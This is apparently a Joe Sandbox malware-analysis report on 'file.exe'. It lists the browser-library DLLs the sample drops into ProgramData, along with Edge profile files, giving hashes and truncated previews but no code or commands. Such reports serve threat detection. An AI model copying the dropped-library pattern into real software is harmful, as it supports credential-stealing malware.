Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0cd6dbc0-87fd-4bcf-98b8-8537ca1e9029.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45959
Entropy (8bit):	6.087881288957478
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9e8juAhDO6vP6OcK7BGBqb2zhLbQQkHX1hICAo2Goup1Xl3h:mMk1rT8HR9eh68KWL0THgRo2hu3VlXrb
MD5:	D8DA0F3E0761AF6BF1C996B250F764B7
SHA1:	9AAC18933FF3DF538A3A6C631090377BCA950850
SHA-256:	A1395DA6394795BDF4A537FB90D2E3EC98CC6A0FA2B47403D9DBE3D0A845B8E4
SHA-512:	3F15622876C12968DDF4807BD7B120D92DC892FB178EC1F013BFF37553AFE409855AA20879A68D68C7629FCB76789A0477968D2C0C4398C7B3774A3A59917B8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\332343c4-4a46-4782-a911-64cbba33bbd3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46036
Entropy (8bit):	6.087829505087136
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgboe8juAhDO6vP6OcK71GBqb2zhLbQQkHX1hICAo2Goup1Xl3h:mMk1rT8H7oeh68KaL0THgRo2hu3VlXrb
MD5:	56924F02749807E8727BA678A7E00C3F
SHA1:	6094D9C6D60A6EFE2001EB85CA4134A31EA0C477
SHA-256:	EF14BB0FCC4E5AF1055B96B46D4657D32C76C28283615A9C4FFCEAB650A262BC
SHA-512:	BEFAA0F24F1C8FB93BDF0381ECF84C22D2B463CC1E5F654F35CAC4D695B77C0DFDFAD0DCEEC4231B31E80B00A6B010DDEBEF7443EF61B8B8639A9AB607BAC80E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\49be999a-52ae-44a8-920f-4534e071feb9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.095128635277171
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBNwuzhDO6vP6OcK7BGBqb2zhcGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEE68KWchu3VlXr4CRo1
MD5:	C0B3931AC19A35DE726CB47D66D8D1AB
SHA1:	79A73B2368BC26833882A8AE1BFDE08796EB7323
SHA-256:	B53B08102759E562EF80CB25DD0A2FEC4FED25A89F076CE7794B4270E3C96511
SHA-512:	85D1365F690513CFCE79E8A05AD7A07A6DA58E08DE31AD78FE37203E1943C3E4F15965F864B8F4242E55E0E833B33DBC396DA842048D1A7F31D3F400D4231532
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\83289ac2-4231-46fd-a8f3-bc61773ec5dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45912
Entropy (8bit):	6.088069735383607
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9eFjuAhDO6vP6OcK7BGBqb2zhLbQQkHX1hICAo2Goup1Xl3h:mMk1rT8HR9ec68KWL0THgRo2hu3VlXrb
MD5:	FEE13B7BD48361EF391AEBBE3186DA78
SHA1:	AE5853E7A7A81BCFA3C56774E3844722DB886C93
SHA-256:	954B6FB516E971E2CB9C8F6D0598DCB4640E257FB26CA18742FF8EB3E3CEE62C
SHA-512:	FAE1943947569BBCBAD77EA94E75902D4367DA5E828B4F75E030DC3AACD4CFA386D38A8C83EB66E2A4C4EFB4EFFED96721FD558CED22BFB560B8C00DD19FD22A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9f500a4d-afbf-4c15-a6e0-0349535ecb4e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46036
Entropy (8bit):	6.087826969275543
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgb9e8juAhDO6vP6OcK71GBqb2zhLbQQkHX1hICAo2Goup1Xl3h:mMk1rT8H79eh68KaL0THgRo2hu3VlXrb
MD5:	7D087DD9F559E2F698FF309BBFD52ED3
SHA1:	070F38CCB20F95C3E9D7B5AC82C1100E26FADCD9
SHA-256:	F8D4832A66737EC10AE84B1D6E8547752B0121799112DB99532090B16E41298B
SHA-512:	7376892B5CF0549403A150990AD8FCB7C793F3DB8C79349BAE71EFA717117D63FEFABA1586B9BA41864737E88D176105E21A9078C23E9FB353ECD89BD3BB8E02
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\d1645fb4-13b4-4624-bbc9-8b0b290c8618.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67391E69-1CC0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 2048.000000, slope 17753217332035315519916605440.000000
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44818419133868065
Encrypted:	false
SSDEEP:	6144:dWfo6+HrbXqSFtrDCBVLqtfsltX4udaHFGt:3XqS/rNmt8
MD5:	78AEBA1F70C5A99AC8AF99951E33196F
SHA1:	3D4EF476A12AFABBBF2D76481D60B453B12601B4
SHA-256:	3975D1D03B0D4E5095FCBA823584A789EB904ADF502F68EE5D7291E77F84458B
SHA-512:	805F72BAF9E079E01E35915AC2B29EE3F4661E9B50555BB9679296DB02617939844FD26796DC5F7696B905BA17BC727330CDC1704B7757AC3B0B7BF0DE785517
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".fhajut20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\093ec7db-faec-4e32-87e6-93a87bf54cdb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.560948123401752
Encrypted:	false
SSDEEP:	768:GISg7s7pLGLpU2WPYSfgg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPNd285vrwTWCZl:GISg7QcpU2WPYSfggu1jaSNdF5cTWC4Y
MD5:	B0109F7FDB94927F2AE1C5DF4363A910
SHA1:	E2461C6D9A41ABB1C5F09969F63BA678BFEA3FB9
SHA-256:	4029365E337679C9CE391FAC3D16E6008C8C3AF7CEFABA9D9804D4DCBB935CF9
SHA-512:	45DA9912830B3C665D6ACB9BB9F16E107365185AB826FB7A774FCECFDCD0F16FF99A34BBE56A78DDA1A74D2391E77EA7090F1BEE3585D120C6206D540B042620
Malicious:	false
